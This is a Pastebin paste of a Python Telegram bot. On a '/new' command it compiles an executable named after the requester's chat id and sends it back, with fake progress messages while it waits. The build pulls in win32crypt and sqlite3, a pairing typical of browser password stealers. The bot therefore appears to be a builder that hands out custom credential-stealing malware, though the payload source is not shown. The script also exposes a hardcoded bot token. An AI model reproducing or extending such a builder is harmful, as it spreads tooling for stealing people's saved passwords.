Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import telepot, time, subprocess, zipfile
- def handle(msg):
- content_type, chat_type, chat_id = telepot.glance(msg)
- if (content_type == 'text'):
- command = msg['text']
- print ('Got command: %s' % command)
- if '/new' in command:
- build_key = msg['chat']['id']
- bot.sendMessage(chat_id, 'Okay, wait 15 sec...')
- p = subprocess.Popen('pyinstaller --clean --onefile {}.py --hidden-import win32crypt --hidden-import sqlite3'.format(build_key), shell=True)
- time.sleep(2)
- bot.sendMessage(chat_id, '25%...')
- time.sleep(4)
- bot.sendMessage(chat_id, '50%...')
- time.sleep(4)
- bot.sendMessage(chat_id, '75%...')
- time.sleep(6)
- bot.sendMessage(chat_id, '100%...')
- bot.sendDocument(chat_id, (open('C:\\Users\\Administrator\\dist\\{}.exe'.format(build_key), "rb")))
- if '/ico' in command:
- p = subprocess.Popen('cls', shell=True)
- bot.sendMessage(chat_id, 'Ready')
- bot = telepot.Bot('102280:AAEWEgc6l3DAYEJqRYBR-voRMxyLDk')
- bot.message_loop(handle)
- while 1:
- time.sleep(20)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement